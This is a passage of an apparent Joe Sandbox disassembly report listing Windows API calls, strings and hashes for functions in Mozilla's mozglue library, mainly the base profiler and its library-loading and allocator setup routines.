AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF0488B
free.MOZGLUE(?), ref: 6CF0493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF04956
free.MOZGLUE(00000000), ref: 6CF04960
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF0499A

Part of subcall function 6CF2AB89: EnterCriticalSection.KERNEL32(6CF7E370,?,?,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284), ref: 6CF2AB94
Part of subcall function 6CF2AB89: LeaveCriticalSection.KERNEL32(6CF7E370,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CF2ABD1

free.MOZGLUE(?), ref: 6CF049C6
free.MOZGLUE(?), ref: 6CF049E9

Part of subcall function 6CF15E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CF15EDB
Part of subcall function 6CF15E90: memset.VCRUNTIME140(6CF57765,000000E5,55CCCCCC), ref: 6CF15F27
Part of subcall function 6CF15E90: LeaveCriticalSection.KERNEL32(?), ref: 6CF15FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CF04812
MOZ_PROFILER_SHUTDOWN, xrefs: 6CF04A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CF047FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CF04828
[I %d/%d] profiler_shutdown, xrefs: 6CF04A06

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 263a9391998ae9ebf83eec09e850b228c5172948b1965e04cefe2096e609143a
Instruction ID: e612ca00217daea1b2cb3d65760cac2fecaad64cc8f1b48ec1def0f60441c7d9
Opcode Fuzzy Hash: 263a9391998ae9ebf83eec09e850b228c5172948b1965e04cefe2096e609143a
Instruction Fuzzy Hash: D3813371F001108BDB549F28E86875A3BB1BF52B18F140639E916D7B81D731E854DBA6

Function 6CF019A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CF7F760), ref: 6CF019BD
GetCurrentProcess.KERNEL32 ref: 6CF019E5
GetLastError.KERNEL32 ref: 6CF01A27
moz_xmalloc.MOZGLUE(?), ref: 6CF01A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CF01A4F
GetLastError.KERNEL32 ref: 6CF01A92
moz_xmalloc.MOZGLUE(?), ref: 6CF01AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CF01ABA
LocalFree.KERNEL32(?), ref: 6CF01C69
free.MOZGLUE(?), ref: 6CF01C8F
free.MOZGLUE(?), ref: 6CF01C9D
CloseHandle.KERNEL32(?), ref: 6CF01CAE
ReleaseSRWLockExclusive.KERNEL32(6CF7F760), ref: 6CF01D52
GetLastError.KERNEL32 ref: 6CF01DA5
GetLastError.KERNEL32 ref: 6CF01DFB
GetLastError.KERNEL32 ref: 6CF01E49
GetLastError.KERNEL32 ref: 6CF01E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF01E9B

Part of subcall function 6CF02070: LoadLibraryW.KERNEL32(combase.dll,6CF01C5F), ref: 6CF020AE
Part of subcall function 6CF02070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6CF020CD
Part of subcall function 6CF02070: __Init_thread_footer.LIBCMT ref: 6CF020E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6CF01F15
VerSetConditionMask.NTDLL ref: 6CF01F46
VerSetConditionMask.NTDLL ref: 6CF01F52
VerSetConditionMask.NTDLL ref: 6CF01F59
VerSetConditionMask.NTDLL ref: 6CF01F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CF01F6D

Strings

D, xrefs: 6CF01B57

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: 2701849da8b40fd29ca79d06001d1dc256c44008b3ada4c4370120cbe2492537
Instruction ID: ce4514dec66bf87e234517d0766f395ed54f4969eb934ff5161e7e156e07f0a0
Opcode Fuzzy Hash: 2701849da8b40fd29ca79d06001d1dc256c44008b3ada4c4370120cbe2492537
Instruction Fuzzy Hash: 8CF19F71E11225AFEB619F61DC58BDAB7B4FF09B08F108199E909A7640D774ED80CFA0

Function 6CF04470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF04730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CF044B2,6CF7E21C,6CF7F7F8), ref: 6CF0473E
Part of subcall function 6CF04730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CF0474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CF044BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CF044D2
InitOnceExecuteOnce.KERNEL32(6CF7F80C,6CEFF240,?,?), ref: 6CF0451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CF0455C
LoadLibraryW.KERNEL32(?), ref: 6CF04592
InitializeCriticalSection.KERNEL32(6CF7F770), ref: 6CF045A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CF045AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CF045BB
InitOnceExecuteOnce.KERNEL32(6CF7F818,6CEFF240,?,?), ref: 6CF04612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CF04636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CF04644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CF0466D
VerSetConditionMask.NTDLL ref: 6CF0469F
VerSetConditionMask.NTDLL ref: 6CF046AB
VerSetConditionMask.NTDLL ref: 6CF046B2
VerSetConditionMask.NTDLL ref: 6CF046B9
VerSetConditionMask.NTDLL ref: 6CF046C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CF046CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CF046F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CF046FD

Strings

user32.dll, xrefs: 6CF04557, 6CF0463F
l, xrefs: 6CF04578
kernel32.dll, xrefs: 6CF044CD
NativeNtBlockSet_Write, xrefs: 6CF046F7
WRusr.dll, xrefs: 6CF044B5

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 1b3e07fc01527f2a061e1f0bda975a5d29ca95ec50d95ea96c5d225e0acf7a21
Instruction ID: 6e75c399cf63b642de3654650f2d56a8fc50535a414e5db2ca439da25778b860
Opcode Fuzzy Hash: 1b3e07fc01527f2a061e1f0bda975a5d29ca95ec50d95ea96c5d225e0acf7a21
Instruction Fuzzy Hash: F66134B0F14314AFEB928F60EC19BA57BB8EB57B08F04845AE9049B641D7B58945CF70

Function 6CF3E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF37090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CF3B9F1,?), ref: 6CF37107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CF3DCF5), ref: 6CF3E92D
GetCurrentThreadId.KERNEL32 ref: 6CF3EA4F
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3EA5C
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3EA80
GetCurrentThreadId.KERNEL32 ref: 6CF3EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CF3DCF5), ref: 6CF3EA92
GetCurrentThreadId.KERNEL32 ref: 6CF3EB11
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CF3EB3C
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3EB5B

Part of subcall function 6CF35710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CF3EB71), ref: 6CF357AB

Part of subcall function 6CF2CBE8: GetCurrentProcess.KERNEL32(?,6CEF31A7), ref: 6CF2CBF1
Part of subcall function 6CF2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEF31A7), ref: 6CF2CBFA

Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
Part of subcall function 6CF39420: __Init_thread_footer.LIBCMT ref: 6CF3949F

GetCurrentThreadId.KERNEL32 ref: 6CF3EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CF3EBAC

Part of subcall function 6CF394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF394EE
Part of subcall function 6CF394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF39508

GetCurrentThreadId.KERNEL32 ref: 6CF3EBC1
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8,?,?,00000000), ref: 6CF3EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CF3EBE5
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8,00000000), ref: 6CF3EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CF3EC46
CloseHandle.KERNEL32(?), ref: 6CF3EC55
free.MOZGLUE(00000000), ref: 6CF3EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CF3EA9B
[I %d/%d] profiler_start, xrefs: 6CF3EBB4

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: c9d0e51685130911e5fbafc9f0862bd392b5668df5a45c9237202c9e58a9260b
Instruction ID: 83ae36b16e8f4d2369950156d6f90a5b8744dad84a20df8fc1d385e770b2cc65
Opcode Fuzzy Hash: c9d0e51685130911e5fbafc9f0862bd392b5668df5a45c9237202c9e58a9260b
Instruction Fuzzy Hash: 25A15631B00224AFDB919F68E844BAA77B5FF86318F14442AEA1D87B41DB719C14CBF1

Function 6CF3F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
Part of subcall function 6CF39420: __Init_thread_footer.LIBCMT ref: 6CF3949F

GetCurrentThreadId.KERNEL32 ref: 6CF3F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CF3F8F9

Part of subcall function 6CF06390: GetCurrentThreadId.KERNEL32 ref: 6CF063D0
Part of subcall function 6CF06390: AcquireSRWLockExclusive.KERNEL32 ref: 6CF063DF
Part of subcall function 6CF06390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CF0640E

ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F93A
GetCurrentThreadId.KERNEL32 ref: 6CF3F98A
GetCurrentThreadId.KERNEL32 ref: 6CF3F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF3F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF3F716

Part of subcall function 6CF394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF394EE
Part of subcall function 6CF394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF39508

Part of subcall function 6CEFB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CEFB5E0

GetCurrentThreadId.KERNEL32 ref: 6CF3F739
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F746
GetCurrentThreadId.KERNEL32 ref: 6CF3F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CF7385B,00000002,?,?,?,?,?), ref: 6CF3F829
free.MOZGLUE(?,?,00000000,?), ref: 6CF3F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CF3F866
free.MOZGLUE(?), ref: 6CF3FA0C

Part of subcall function 6CF05E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CF055E1), ref: 6CF05E8C
Part of subcall function 6CF05E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CF05E9D
Part of subcall function 6CF05E60: GetCurrentThreadId.KERNEL32 ref: 6CF05EAB
Part of subcall function 6CF05E60: GetCurrentThreadId.KERNEL32 ref: 6CF05EB8
Part of subcall function 6CF05E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CF05ECF
Part of subcall function 6CF05E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CF05F27
Part of subcall function 6CF05E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CF05F47
Part of subcall function 6CF05E60: GetCurrentProcess.KERNEL32 ref: 6CF05F53
Part of subcall function 6CF05E60: GetCurrentThread.KERNEL32 ref: 6CF05F5C
Part of subcall function 6CF05E60: GetCurrentProcess.KERNEL32 ref: 6CF05F66
Part of subcall function 6CF05E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CF05F7E

free.MOZGLUE(?), ref: 6CF3F9C5
free.MOZGLUE(?), ref: 6CF3F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CF3F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CF3F71F
" attempted to re-register as ", xrefs: 6CF3F858
Thread , xrefs: 6CF3F789

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 0ca196dabd59bc977554049afafdd10c893ec132fe96c0d2b0e7893062825b25
Instruction ID: f743a59ef7e3d3630956ed8021d70112dafdadc8f62125d6a44806bfe88df3d1
Opcode Fuzzy Hash: 0ca196dabd59bc977554049afafdd10c893ec132fe96c0d2b0e7893062825b25
Instruction Fuzzy Hash: 46813571A04320AFDB51DF24D840BAAB7B5FF85308F54486DE8499BB51EB31D849CBE2

Function 6CF04180 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CF04196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6CF041F1
VerSetConditionMask.NTDLL ref: 6CF04223
VerSetConditionMask.NTDLL ref: 6CF0422A
VerSetConditionMask.NTDLL ref: 6CF04231
VerSetConditionMask.NTDLL ref: 6CF04238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CF04245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6CF04263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 6CF0427A
FreeLibrary.KERNEL32(?), ref: 6CF04299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CF042C4
VerSetConditionMask.NTDLL ref: 6CF042F6
VerSetConditionMask.NTDLL ref: 6CF04302
VerSetConditionMask.NTDLL ref: 6CF04309
VerSetConditionMask.NTDLL ref: 6CF04310
VerSetConditionMask.NTDLL ref: 6CF04317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CF04324

Strings

SetProcessDpiAwareness, xrefs: 6CF04274
Shcore.dll, xrefs: 6CF0425E

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-999387375
Opcode ID: 29c0ea5b277a8c34ef1019a754ede8b6070d8f30223a2e90d6ebc7f84f119bc0
Instruction ID: d3350437bf118ea6bf8de95f6af451e3173815c6b79a550928ea879cdcc970e3
Opcode Fuzzy Hash: 29c0ea5b277a8c34ef1019a754ede8b6070d8f30223a2e90d6ebc7f84f119bc0
Instruction Fuzzy Hash: BF51E0B1F00224ABEB116B659C18BAB7B7CEF96B14F154918F905DB6C0DB749D40CBA0

Function 6CF3EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
Part of subcall function 6CF39420: __Init_thread_footer.LIBCMT ref: 6CF3949F

GetCurrentThreadId.KERNEL32 ref: 6CF3EE60
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3EE6D
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CF3EEA5
CloseHandle.KERNEL32(?), ref: 6CF3EEB4
free.MOZGLUE(00000000), ref: 6CF3EEBB
GetCurrentThreadId.KERNEL32 ref: 6CF3EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF3EECF

Part of subcall function 6CF3DE60: GetCurrentThreadId.KERNEL32 ref: 6CF3DE73
Part of subcall function 6CF3DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CF04A68), ref: 6CF3DE7B
Part of subcall function 6CF3DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CF04A68), ref: 6CF3DEB8
Part of subcall function 6CF3DE60: free.MOZGLUE(00000000,?,6CF04A68), ref: 6CF3DEFE
Part of subcall function 6CF3DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CF3DF38

Part of subcall function 6CF2CBE8: GetCurrentProcess.KERNEL32(?,6CEF31A7), ref: 6CF2CBF1
Part of subcall function 6CF2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEF31A7), ref: 6CF2CBFA

GetCurrentThreadId.KERNEL32 ref: 6CF3EF1E
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3EF2B
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3EF59
GetCurrentThreadId.KERNEL32 ref: 6CF3EFB0
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3EFBD
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3EFE1
GetCurrentThreadId.KERNEL32 ref: 6CF3EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF3F000

Part of subcall function 6CF394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF394EE
Part of subcall function 6CF394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF39508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CF3F02F

Part of subcall function 6CF3F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CF3F09B
Part of subcall function 6CF3F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CF3F0AC
Part of subcall function 6CF3F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CF3F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6CF3EED7
[I %d/%d] profiler_pause, xrefs: 6CF3F008

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: dd69e91ec0148f4aa6874dce3d88584baa900499894296ed29d6db88976ba1b6
Instruction ID: 5ea6c827cf2cc86cb54c3bead22221a2bc7fb3e6f95750dae2eac7d57771a05e
Opcode Fuzzy Hash: dd69e91ec0148f4aa6874dce3d88584baa900499894296ed29d6db88976ba1b6
Instruction Fuzzy Hash: 7A51C235A14231AFDB925F64F8087D67BB4EF47328F14092AEA1983B80DB75585887F2

Function 6CF2D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CF7E804), ref: 6CF2D047
GetSystemInfo.KERNEL32(?), ref: 6CF2D093
__Init_thread_footer.LIBCMT ref: 6CF2D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CF7E810,00000040), ref: 6CF2D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6CF7E7B8,00001388), ref: 6CF2D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6CF7E744,00001388), ref: 6CF2D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6CF7E784,00001388), ref: 6CF2D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6CF7E7DC,00001388), ref: 6CF2D1B1

Strings

